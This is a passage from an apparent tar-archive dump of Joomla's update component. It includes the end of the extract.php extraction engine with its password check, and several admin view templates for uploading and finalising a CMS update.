time to do it while (($leftBytes > 0) && ($this->getTimeLeft() > 0)) { $toReadBytes = min($leftBytes, self::CHUNK_SIZE); $data = $this->fread($this->fp, $toReadBytes); $reallyReadBytes = $this->binStringLength($data); $leftBytes -= $reallyReadBytes; $this->dataReadLength += $reallyReadBytes; if ($reallyReadBytes < $toReadBytes) { // We read less than requested! Why? Did we hit local EOF? if ($this->isEOF()) { // Nope. The archive is corrupt $this->debugMsg('EOF when reading stored file data', self::LOG_WARNING); $this->setError('The archive file is corrupt or truncated'); return false; } } if (is_resource($outfp)) { @fwrite($outfp, $data); } if ($this->getTimeLeft()) { $this->debugMsg('Out of time; will resume extraction in the next step', self::LOG_DEBUG); } } // Close the file pointer if (is_resource($outfp)) { @fclose($outfp); } // Was this a pre-timeout bail out? if ($leftBytes > 0) { $this->debugMsg(sprintf('We have %d bytes left to extract in the next step', $leftBytes), self::LOG_DEBUG); $this->runState = self::AK_STATE_DATA; return true; } // Oh! We just finished! $this->runState = self::AK_STATE_DATAREAD; $this->dataReadLength = 0; return true; } /** * Processes a compressed file * * @return boolean * @since 4.0.4 */ private function processTypeFileCompressed(): bool { // Before processing file data, ensure permissions are adequate $this->setCorrectPermissions($this->fileHeader->file); // This file is changed during the script's operation so we clear the status cache. clearstatcache($this->fileHeader->file); // Open the output file $outfp = @fopen($this->fileHeader->realFile, 'wb'); // Can we write to the file? $ignore = $this->isIgnoredDirectory($this->fileHeader->file); if (($outfp === false) && (!$ignore)) { // An error occurred $this->setError(sprintf('Could not open %s for writing.', $this->fileHeader->realFile)); return false; } // Does the file have any data, at all? if ($this->fileHeader->compressed == 0) { $this->debugMsg('Zero byte Compressed file; no data will be read', self::LOG_DEBUG); // No file data! if (is_resource($outfp)) { @fclose($outfp); } $this->runState = self::AK_STATE_DATAREAD; return true; } // Simple compressed files are processed as a whole; we can't do chunk processing $zipData = $this->fread($this->fp, $this->fileHeader->compressed); while ($this->binStringLength($zipData) < $this->fileHeader->compressed) { // End of local file before reading all data? if ($this->isEOF()) { $this->debugMsg('EOF reading compressed data', self::LOG_WARNING); $this->setError('The archive file is corrupt or truncated'); return false; } } switch ($this->fileHeader->compression) { case 'gzip': /** @noinspection PhpComposerExtensionStubsInspection */ $unzipData = gzinflate($zipData); break; case 'bzip2': /** @noinspection PhpComposerExtensionStubsInspection */ $unzipData = bzdecompress($zipData); break; default: $this->setError(sprintf('Unknown compression method %s', $this->fileHeader->compression)); return false; break; } unset($zipData); // Write to the file. if (is_resource($outfp)) { @fwrite($outfp, $unzipData, $this->fileHeader->uncompressed); @fclose($outfp); } unset($unzipData); $this->runState = self::AK_STATE_DATAREAD; return true; } /** * Set up the maximum execution time * * @return void * @since 4.0.4 */ private function setupMaxExecTime(): void { $configMaxTime = self::MAX_EXEC_TIME; $bias = self::RUNTIME_BIAS / 100; $this->maxExecTime = min($this->getPhpMaxExecTime(), $configMaxTime) * $bias; } /** * Get the PHP maximum execution time. * * If it's not defined or it's zero (infinite) we use a fake value of 10 seconds. * * @return integer * @since 4.0.4 */ private function getPhpMaxExecTime(): int { if (!@function_exists('ini_get')) { return 10; } $phpMaxTime = @ini_get("maximum_execution_time"); $phpMaxTime = (!is_numeric($phpMaxTime) ? 10 : @intval($phpMaxTime)) ?: 10; return max(1, $phpMaxTime); } /** * Write a message to the debug error log * * @param string $message The message to log * @param int $priority The message's log priority * * @return void * @since 4.0.4 */ private function debugMsg(string $message, int $priority = self::LOG_INFO): void { if (!defined('_JOOMLA_UPDATE_DEBUG')) { return; } if (!is_resource(self::$logFP) && !is_bool(self::$logFP)) { self::$logFP = @fopen(self::$logFilePath, 'at'); } if (!is_resource(self::$logFP)) { return; } switch ($priority) { case self::LOG_DEBUG: $priorityString = 'DEBUG'; break; case self::LOG_INFO: $priorityString = 'INFO'; break; case self::LOG_WARNING: $priorityString = 'WARNING'; break; case self::LOG_ERROR: $priorityString = 'ERROR'; break; } fputs(self::$logFP, sprintf('%s | %7s | %s' . "\r\n", gmdate('Y-m-d H:i:s'), $priorityString, $message)); } /** * Initialise the debug log file * * @param string $logPath The path where the log file will be written to * * @return void * @since 4.0.4 */ private function initializeLog(string $logPath): void { if (!defined('_JOOMLA_UPDATE_DEBUG')) { return; } $logPath = $logPath ?: dirname($this->filename); $logFile = rtrim($logPath, '/' . DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'joomla_update.txt'; self::$logFilePath = $logFile; } } // Skip over the mini-controller for testing purposes if (defined('_JOOMLA_UPDATE_TESTING')) { return; } /** * Invalidate a file in OPcache. * * Only applies if the file has a .php extension. * * @param string $file The filepath to clear from OPcache * * @return boolean * @since 4.0.4 */ function clearFileInOPCache(string $file): bool { static $hasOpCache = null; if (is_null($hasOpCache)) { $hasOpCache = ini_get('opcache.enable') && function_exists('opcache_invalidate') && (!ini_get('opcache.restrict_api') || stripos(realpath($_SERVER['SCRIPT_FILENAME']), ini_get('opcache.restrict_api')) === 0); } if ($hasOpCache && (strtolower(substr($file, -4)) === '.php')) { return opcache_invalidate($file, true); } return false; } /** * A timing safe equals comparison. * * Uses the built-in hash_equals() method if it exists. It SHOULD exist, as it's available since PHP 5.6 whereas even * Joomla 4.0 requires PHP 7.2 or later. If for any reason the built-in function is not available (for example, a host * has disabled it because they do not understand the first thing about security) we will fall back to a safe, userland * implementation. * * @param string $known The known value to check against * @param string $user The user submitted value to check * * @return boolean True if the two strings are identical. * @since 4.0.4 * * @see http://blog.ircmaxell.com/2014/11/its-all-about-time.html */ function timingSafeEquals($known, $user) { if (function_exists('hash_equals')) { return hash_equals($known, $user); } $safeLen = strlen($known); $userLen = strlen($user); if ($userLen != $safeLen) { return false; } $result = 0; for ($i = 0; $i < $userLen; $i++) { $result |= (ord($known[$i]) ^ ord($user[$i])); } // They are only identical strings if $result is exactly 0... return $result === 0; } /** * Gets the configuration parameters from the update.php file and validates the password sent with * the request. * * @return array|null The configuration parameters to use. NULL if this is an invalid request. * @since 4.0.4 */ function getConfiguration(): ?array { // Make sure the locale is correct for basename() to work if (function_exists('setlocale')) { @setlocale(LC_ALL, 'en_US.UTF8'); } // Require update.php or fail $setupFile = __DIR__ . '/update.php'; if (!file_exists($setupFile)) { return null; } /** * If the setup file was created more than 1.5 hours ago we can assume that it's stale and someone forgot to * remove it from the server. * * This prevents brute force attacks against the randomly generated password. Even a simple 8 character simple * alphanum (a-z, 0-9) password yields over 2.8e12 permutation. Assuming a very fast server which can * serve 100 requests to extract.php per second and an easy to attack password requiring going over just 1% of * the search space it'd still take over 282 million seconds to brute force it. Our limit is more than 4 orders * of magnitude lower than this best practical case scenario, giving us adequate protection against all but the * luckiest attacker (spoiler alert: the mathematics of probabilities say you're not gonna get too lucky). * * It is still advisable to remove the update.php file once you are done with the extraction. This check * here is only meant as a failsafe in case of a server error during the extraction and subsequent lack of user * action to remove the update.php file from their server. */ clearstatcache(true); $setupFileCreationTime = filectime($setupFile); if (abs(time() - $setupFileCreationTime) > 5400) { return null; } // Load update.php. It pulls a variable named $restoration_setup into the local scope. clearFileInOPCache($setupFile); require_once $setupFile; /** @var array $extractionSetup */ // The file exists but no configuration is present? if (empty($extractionSetup ?? null) || !is_array($extractionSetup)) { return null; } /** * Immediately reject any attempt to run extract.php without a password. * * Doing that is a GRAVE SECURITY RISK. It makes it trivial to hack a site. Therefore we are preventing this script * to run without a password. */ $password = $extractionSetup['security.password'] ?? null; $userPassword = $_REQUEST['password'] ?? ''; $userPassword = !is_string($userPassword) ? '' : trim($userPassword); if (empty($password) || !is_string($password) || (trim($password) == '') || (strlen(trim($password)) < 32)) { return null; } // Timing-safe password comparison. See http://blog.ircmaxell.com/2014/11/its-all-about-time.html if (!timingSafeEquals($password, $userPassword)) { return null; } // An "instance" variable will resume the engine from the serialised instance $serialized = $_REQUEST['instance'] ?? null; if (!is_null($serialized) && empty(ZIPExtraction::unserialiseInstance($serialized))) { // The serialised instance is corrupt or someone tries to trick us. YOU SHALL NOT PASS! return null; } return $extractionSetup; } // Import configuration $retArray = [ 'status' => true, 'message' => null, ]; $configuration = getConfiguration(); $enabled = !empty($configuration); /** * Sets the PHP timeout to 3600 seconds * * @return void * @since 4.2.0 */ function setLongTimeout() { if (!function_exists('ini_set')) { return; } ini_set('max_execution_time', 3600); } /** * Sets the memory limit to 1GiB * * @return void * @since 4.2.0 */ function setHugeMemoryLimit() { if (!function_exists('ini_set')) { return; } ini_set('memory_limit', 1073741824); } if ($enabled) { // Try to set a very large memory and timeout limit setLongTimeout(); setHugeMemoryLimit(); $sourcePath = $configuration['setup.sourcepath'] ?? ''; $sourceFile = $configuration['setup.sourcefile'] ?? ''; $destDir = ($configuration['setup.destdir'] ?? null) ?: __DIR__; $basePath = rtrim(str_replace('\\', '/', __DIR__), '/'); $basePath = empty($basePath) ? $basePath : ($basePath . '/'); $sourceFile = (empty($sourcePath) ? '' : (rtrim($sourcePath, '/\\') . '/')) . $sourceFile; $engine = ZIPExtraction::getInstance(); $engine->setFilename($sourceFile); $engine->setAddPath($destDir); $skipFiles = [ 'administrator/components/com_joomlaupdate/restoration.php', 'administrator/components/com_joomlaupdate/update.php', ]; if (defined('_JOOMLA_UPDATE_DEBUG')) { $skipFiles[] = 'administrator/components/com_joomlaupdate/extract.php'; } $engine->setSkipFiles($skipFiles); $engine->setIgnoreDirectories([ 'tmp', 'administrator/logs', ]); $task = $_REQUEST['task'] ?? null; switch ($task) { case 'startExtract': case 'stepExtract': $done = $engine->step(); $error = $engine->getError(); if ($error != '') { $retArray['status'] = false; $retArray['done'] = true; $retArray['message'] = $error; } elseif ($done) { $retArray['files'] = $engine->filesProcessed; $retArray['bytesIn'] = $engine->compressedTotal; $retArray['bytesOut'] = $engine->uncompressedTotal; $retArray['percent'] = 100; $retArray['status'] = true; $retArray['done'] = true; $retArray['percent'] = min($retArray['percent'], 100); } else { $retArray['files'] = $engine->filesProcessed; $retArray['bytesIn'] = $engine->compressedTotal; $retArray['bytesOut'] = $engine->uncompressedTotal; $retArray['percent'] = ($engine->totalSize > 0) ? (100 * $engine->compressedTotal / $engine->totalSize) : 0; $retArray['status'] = true; $retArray['done'] = false; $retArray['instance'] = ZIPExtraction::getSerialised(); } $engine->enforceMinimumExecutionTime(); break; case 'finalizeUpdate': $root = $configuration['setup.destdir'] ?? ''; // Remove the administrator/cache/autoload_psr4.php file $filename = $root . (empty($root) ? '' : '/') . 'administrator/cache/autoload_psr4.php'; if (file_exists($filename)) { clearFileInOPCache($filename); clearstatcache(true, $filename); @unlink($filename); } // Remove update.php clearFileInOPCache($basePath . 'update.php'); @unlink($basePath . 'update.php'); // Import a custom finalisation file $filename = dirname(__FILE__) . '/finalisation.php'; if (file_exists($filename)) { clearFileInOPCache($filename); include_once $filename; } // Run a custom finalisation script if (function_exists('finalizeUpdate')) { finalizeUpdate($root, $basePath); } $engine->enforceMinimumExecutionTime(); break; default: // Invalid task! $enabled = false; break; } } // This could happen even if $enabled was true, e.g. if we were asked for an invalid task. if (!$enabled) { // Maybe we weren't authorized or the task was invalid? $retArray['status'] = false; $retArray['message'] = 'Invalid login'; } // JSON encode the message echo json_encode($retArray); services/provider.php 0000644 00000003122 15173035674 0010743 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Dispatcher\ComponentDispatcherFactoryInterface; use Joomla\CMS\Extension\ComponentInterface; use Joomla\CMS\Extension\MVCComponent; use Joomla\CMS\Extension\Service\Provider\ComponentDispatcherFactory; use Joomla\CMS\Extension\Service\Provider\MVCFactory; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; /** * The content service provider. * * @since 4.0.0 */ return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->registerServiceProvider(new MVCFactory('\\Joomla\\Component\\Joomlaupdate')); $container->registerServiceProvider(new ComponentDispatcherFactory('\\Joomla\\Component\\Joomlaupdate')); $container->set( ComponentInterface::class, function (Container $container) { $component = new MVCComponent($container->get(ComponentDispatcherFactoryInterface::class)); $component->setMVCFactory($container->get(MVCFactoryInterface::class)); return $component; } ); } }; index.html 0000604 00000000037 15173035674 0006550 0 ustar 00 <!DOCTYPE html><title></title> tmpl/upload/default.php 0000644 00000011463 15173035674 0011161 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Updater\Update; use Joomla\CMS\Utility\Utility; use Joomla\Component\Joomlaupdate\Administrator\View\Joomlaupdate\HtmlView; /** @var HtmlView $this */ /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->useScript('core') ->useScript('com_joomlaupdate.default') ->useScript('bootstrap.popover'); Text::script('COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE', true); Text::script('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG', true); Text::script('JGLOBAL_SELECTED_UPLOAD_FILE_SIZE', true); $latestJoomlaVersion = $this->updateInfo['latest']; $currentJoomlaVersion = isset($this->updateInfo['installed']) ? $this->updateInfo['installed'] : JVERSION; ?> <div id="joomlaupdate-wrapper" class="main-card mt-3 p-3" data-joomla-target-version="<?php echo $latestJoomlaVersion; ?>" data-joomla-current-version="<?php echo $currentJoomlaVersion; ?>"> <div class="alert alert-info"> <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_UPLOAD_INTRO', 'https://downloads.joomla.org/latest'); ?> <?php if (is_object($this->updateInfo['object']) && ($this->updateInfo['object'] instanceof Update)) : ?> <br><br> <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE_INFO', $this->updateInfo['object']->downloadurl->_data); ?> <?php endif; ?> </div> <?php if (count($this->warnings)) : ?> <h3><?php echo Text::_('COM_INSTALLER_SUBMENU_WARNINGS'); ?></h3> <?php foreach ($this->warnings as $warning) : ?> <div class="alert alert-warning"> <h4 class="alert-heading"> <span class="icon-exclamation-triangle" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span> <?php echo $warning['message']; ?> </h4> <p class="mb-0"><?php echo $warning['description']; ?></p> </div> <?php endforeach; ?> <div class="alert alert-info"> <h4 class="alert-heading"> <span class="icon-info-circle" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span> <?php echo Text::_('COM_INSTALLER_MSG_WARNINGFURTHERINFO'); ?> </h4> <p class="mb-0"><?php echo Text::_('COM_INSTALLER_MSG_WARNINGFURTHERINFODESC'); ?></p> </div> <?php endif; ?> <form enctype="multipart/form-data" action="index.php" method="post" id="uploadForm"> <div class="mb-3"> <label for="install_package" class="form-label"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_UPLOAD_PACKAGE_FILE'); ?> </label> <input class="form-control" type="file" id="install_package" name="install_package" accept=".zip,application/zip"> <?php $maxSizeBytes = Utility::getMaxUploadSize(); ?> <?php $maxSize = HTMLHelper::_('number.bytes', $maxSizeBytes); ?> <input id="max_upload_size" name="max_upload_size" type="hidden" value="<?php echo $maxSizeBytes; ?>"/> <div class="form-text"><?php echo Text::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', '‎' . $maxSize); ?></div> <div class="form-text hidden" id="file_size"><?php echo Text::sprintf('JGLOBAL_SELECTED_UPLOAD_FILE_SIZE', '‎' . ''); ?></div> <div class="alert alert-warning hidden" id="max_upload_size_warn"> <?php echo Text::_('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG'); ?> </div> </div> <div class="form-check mb-3 <?php echo $this->noBackupCheck ? 'd-none' : '' ?>"> <input class="form-check-input me-2 <?php echo $this->noBackupCheck ? 'd-none' : '' ?>" type="checkbox" disabled value="" id="joomlaupdate-confirm-backup" <?php echo $this->noBackupCheck ? 'checked' : '' ?>> <label class="form-check-label" for="joomlaupdate-confirm-backup"> <?php echo Text::_('COM_JOOMLAUPDATE_UPDATE_CONFIRM_BACKUP'); ?> </label> </div> <button id="uploadButton" class="btn btn-primary" disabled type="button"><?php echo Text::_('COM_INSTALLER_UPLOAD_AND_INSTALL'); ?></button> <input type="hidden" name="task" value="update.upload"> <input type="hidden" name="option" value="com_joomlaupdate"> <?php echo HTMLHelper::_('form.token'); ?> </form> </div> tmpl/upload/captive.php 0000644 00000006635 15173035674 0011175 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->useScript('core') ->useScript('jquery') ->useScript('form.validate') ->useScript('keepalive') ->useScript('field.passwordview'); Text::script('JSHOWPASSWORD'); Text::script('JHIDEPASSWORD'); ?> <div class="alert alert-warning"> <h4 class="alert-heading"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_UPLOAD_CAPTIVE_INTRO_HEAD'); ?> </h4> <p> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_CAPTIVE_INTRO_BODY', Factory::getApplication()->get('sitename')); ?> </p> </div> <hr> <form action="<?php echo Route::_('index.php', true); ?>" method="post" id="form-login" class="text-center card"> <fieldset class="loginform card-body"> <legend class="h2 mb-3"><?php echo Text::_('COM_JOOMLAUPDATE_CAPTIVE_HEADLINE'); ?></legend> <div class="control-group"> <div class="controls"> <div class="input-group"> <input name="username" id="mod-login-username" type="text" class="form-control" required="required" autocomplete="username" placeholder="<?php echo Text::_('JGLOBAL_USERNAME'); ?>" size="15" autofocus="true"> <span class="input-group-text"> <span class="icon-user icon-fw" aria-hidden="true"></span> <label for="mod-login-username" class="visually-hidden"> <?php echo Text::_('JGLOBAL_USERNAME'); ?> </label> </span> </div> </div> </div> <div class="control-group"> <div class="controls"> <div class="input-group"> <input name="passwd" id="mod-login-password" type="password" class="form-control" required="required" autocomplete="current-password" placeholder="<?php echo Text::_('JGLOBAL_PASSWORD'); ?>" size="15"> <button type="button" class="btn btn-secondary input-password-toggle"> <span class="icon-eye icon-fw" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('JSHOWPASSWORD'); ?></span> </button> </div> </div> </div> <div class="control-group"> <div class="controls"> <a class="btn btn-danger" href="index.php?option=com_joomlaupdate"> <span class="icon-times icon-white" aria-hidden="true"></span> <?php echo Text::_('JCANCEL'); ?> </a> <button type="submit" class="btn btn-primary"> <span class="icon-play icon-white" aria-hidden="true"></span> <?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?> </button> </div> </div> <input type="hidden" name="option" value="com_joomlaupdate"> <input type="hidden" name="task" value="update.confirm"> <?php echo HTMLHelper::_('form.token'); ?> </fieldset> </form> tmpl/update/finaliseconfirm.php 0000644 00000006524 15173035674 0012705 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->useScript('keepalive'); ?> <div class="alert warning"> <h4 class="alert-heading"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_UPDATE_FINALISE_HEAD'); ?> </h4> <p> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPDATE_FINALISE_HEAD_DESC', Factory::getApplication()->get('sitename')); ?> </p> </div> <hr> <form action="<?php echo Route::_('index.php', true); ?>" method="post" id="form-login" class="d-flex justify-content-center text-center"> <fieldset class="loginform"> <legend><?php echo Text::_('COM_JOOMLAUPDATE_CONFIRM'); ?></legend> <div class="control-group"> <div class="controls"> <div class="input-group"> <input name="username" id="mod-login-username" type="text" class="form-control" required="required" autocomplete="username" placeholder="<?php echo Text::_('JGLOBAL_USERNAME'); ?>" size="15" autofocus="true"> <span class="input-group-text"> <span class="icon-user" aria-hidden="true"></span> <label for="mod-login-username" class="visually-hidden"> <?php echo Text::_('JGLOBAL_USERNAME'); ?> </label> </span> </div> </div> </div> <div class="control-group"> <div class="controls"> <div class="input-group"> <input name="passwd" id="mod-login-password" type="password" class="form-control" required="required" autocomplete="current-password" placeholder="<?php echo Text::_('JGLOBAL_PASSWORD'); ?>" size="15"> <span class="input-group-text"> <span class="icon-lock" aria-hidden="true"></span> <label for="mod-login-password" class="visually-hidden"> <?php echo Text::_('JGLOBAL_PASSWORD'); ?> </label> </span> </div> </div> </div> <div class="control-group"> <div class="controls"> <div class="btn-group"> <a class="btn btn-danger" href="index.php?option=com_joomlaupdate"> <span class="icon-times" aria-hidden="true"></span> <?php echo Text::_('JCANCEL'); ?> </a> <button type="submit" class="btn btn-primary"> <span class="icon-play" aria-hidden="true"></span> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_UPDATE_FINALISE_CONFIRM_AND_CONTINUE'); ?> </button> </div> </div> </div> <input type="hidden" name="option" value="com_joomlaupdate"> <input type="hidden" name="task" value="update.finaliseconfirm"> <?php echo HTMLHelper::_('form.token'); ?> </fieldset> </form> tmpl/update/default.php 0000644 00000012701 15173035674 0011153 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->useScript('core') ->useScript('com_joomlaupdate.admin-update') ->useScript('bootstrap.modal'); Text::script('COM_JOOMLAUPDATE_ERRORMODAL_HEAD_FORBIDDEN'); Text::script('COM_JOOMLAUPDATE_ERRORMODAL_BODY_FORBIDDEN'); Text::script('COM_JOOMLAUPDATE_ERRORMODAL_HEAD_SERVERERROR'); Text::script('COM_JOOMLAUPDATE_ERRORMODAL_BODY_SERVERERROR'); Text::script('COM_JOOMLAUPDATE_ERRORMODAL_HEAD_GENERIC'); Text::script('COM_JOOMLAUPDATE_ERRORMODAL_BODY_INVALIDLOGIN'); Text::script('COM_JOOMLAUPDATE_UPDATING_FAIL'); Text::script('COM_JOOMLAUPDATE_UPDATING_COMPLETE'); Text::script('JLIB_SIZE_BYTES'); Text::script('JLIB_SIZE_KB'); Text::script('JLIB_SIZE_MB'); Text::script('JLIB_SIZE_GB'); Text::script('JLIB_SIZE_TB'); Text::script('JLIB_SIZE_PB'); Text::script('JLIB_SIZE_EB'); Text::script('JLIB_SIZE_ZB'); Text::script('JLIB_SIZE_YB'); $password = Factory::getApplication()->getUserState('com_joomlaupdate.password', null); $filesize = Factory::getApplication()->getUserState('com_joomlaupdate.filesize', null); $ajaxUrl = Uri::base() . 'components/com_joomlaupdate/extract.php'; $returnUrl = 'index.php?option=com_joomlaupdate&task=update.finalise&' . Factory::getSession()->getFormToken() . '=1'; $this->document->addScriptOptions( 'joomlaupdate', [ 'password' => $password, 'totalsize' => $filesize, 'ajax_url' => $ajaxUrl, 'return_url' => $returnUrl, ] ); $helpUrl = 'https://docs.joomla.org/Special:MyLanguage/J4.x:Joomla_Update_Problems'; ?> <div class="px-4 py-5 my-5 text-center" id="joomlaupdate-progress"> <span class="fa-8x mb-4 icon-loop joomlaupdate" aria-hidden="true"></span> <h1 class="display-5 fw-bold"><?php echo Text::_('COM_JOOMLAUPDATE_UPDATING_HEAD') ?></h1> <div class="col-lg-6 mx-auto"> <p class="lead mb-4" id="update-title"> <?php echo Text::_('COM_JOOMLAUPDATE_UPDATING_INPROGRESS'); ?> </p> <div id="progress" class="progress my-3"> <div id="progress-bar" class="progress-bar progress-bar-striped progress-bar-animated" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100"> </div> </div> <div id="update-progress" class="container text-muted my-3"> <div class="row"> <div class="col"> <span class="fa fa-file-archive" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD'); ?></span> <span id="extbytesin"></span> </div> <div class="col"> <span class="fa fa-hdd" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED'); ?></span> <span id="extbytesout"></span> </div> <div class="col"> <span class="fa fa-copy" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED'); ?></span> <span id="extfiles"></span> </div> </div> </div> </div> </div> <div class="px-4 d-none" id="joomlaupdate-error"> <div class="card border-danger"> <h1 class="card-header bg-danger text-white" id="errorDialogLabel"></h1> <div class="card-body"> <div id="errorDialogMessage"></div> </div> <div class="card-footer"> <div class="d-flex flex-row flex-wrap gap-2 align-items-center"> <div> <a href="<?php echo $helpUrl ?>" target="_blank" class="btn btn-info"> <span class="fa fa-info-circle" aria-hidden="true"></span> <?php echo Text::_('COM_JOOMLAUPDATE_ERRORMODAL_BTN_HELP') ?> </a> </div> <div> <button type="button" id="joomlaupdate-resume" class="btn btn-primary"> <span class="fa fa-play" aria-hidden="true"></span> <?php echo Text::_('COM_JOOMLAUPDATE_ERRORSTATE_BTN_RETRY') ?> </button> </div> <div> <button type="button" id="joomlaupdate-restart" class="btn btn-warning"> <span class="fa fa-redo" aria-hidden="true"></span> <?php echo Text::_('COM_JOOMLAUPDATE_ERRORSTATE_BTN_RESTART') ?> </button> </div> <div class="flex-grow-1"></div> <div> <a href="<?php echo Route::_('index.php?option=com_joomlaupdate') ?>" class="btn btn-danger btn-sm ms-3"> <?php echo Text::_('JCANCEL') ?> </a> </div> </div> </div> </div> </div> tmpl/joomlaupdate/update.php 0000644 00000005344 15173035674 0012220 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; /** @var \Joomla\Component\Joomlaupdate\Administrator\View\Joomlaupdate\HtmlView $this */ /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->useScript('core') ->useScript('com_joomlaupdate.default') ->useScript('bootstrap.popover'); $uploadLink = 'index.php?option=com_joomlaupdate&view=upload'; $displayData = [ 'textPrefix' => 'COM_JOOMLAUPDATE_UPDATE', 'title' => Text::sprintf('COM_JOOMLAUPDATE_UPDATE_EMPTYSTATE_TITLE', $this->escape($this->updateInfo['latest'])), 'content' => Text::sprintf($this->langKey, $this->updateSourceKey), 'formURL' => 'index.php?option=com_joomlaupdate&view=joomlaupdate', 'helpURL' => 'https://docs.joomla.org/Special:MyLanguage/Updating_from_an_existing_version', 'icon' => 'icon-loop joomlaupdate', 'createURL' => '#' ]; if (isset($this->updateInfo['object']) && isset($this->updateInfo['object']->get('infourl')->_data)) : $displayData['content'] .= '<br>' . HTMLHelper::_( 'link', $this->updateInfo['object']->get('infourl')->_data, Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INFOURL'), [ 'target' => '_blank', 'rel' => 'noopener noreferrer', 'title' => isset($this->updateInfo['object']->get('infourl')->title) ? Text::sprintf('JBROWSERTARGET_NEW_TITLE', $this->updateInfo['object']->get('infourl')->title) : '' ] ); endif; // Confirm backup and check $classVisibility = $this->noBackupCheck ? 'd-none' : ''; $checked = $this->noBackupCheck ? 'checked' : ''; $displayData['content'] .= '<div class="form-check d-flex justify-content-center ' . $classVisibility . '"> <input class="form-check-input me-2" type="checkbox" value="" id="joomlaupdate-confirm-backup" ' . $checked . '> <label class="form-check-label" for="joomlaupdate-confirm-backup"> ' . Text::_('COM_JOOMLAUPDATE_UPDATE_CONFIRM_BACKUP') . ' </label> </div>'; if (Factory::getApplication()->getIdentity()->authorise('core.admin', 'com_joomlaupdate')) : $displayData['formAppend'] = '<div class="text-center"><a href="' . $uploadLink . '" class="btn btn-sm btn-outline-secondary">' . Text::_('COM_JOOMLAUPDATE_EMPTYSTATE_APPEND') . '</a></div>'; endif; echo '<div id="joomlaupdate-wrapper">'; echo LayoutHelper::render('joomla.content.emptystate', $displayData); echo '</div>'; tmpl/joomlaupdate/preupdatecheck.php 0000644 00000050453 15173035674 0013726 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see 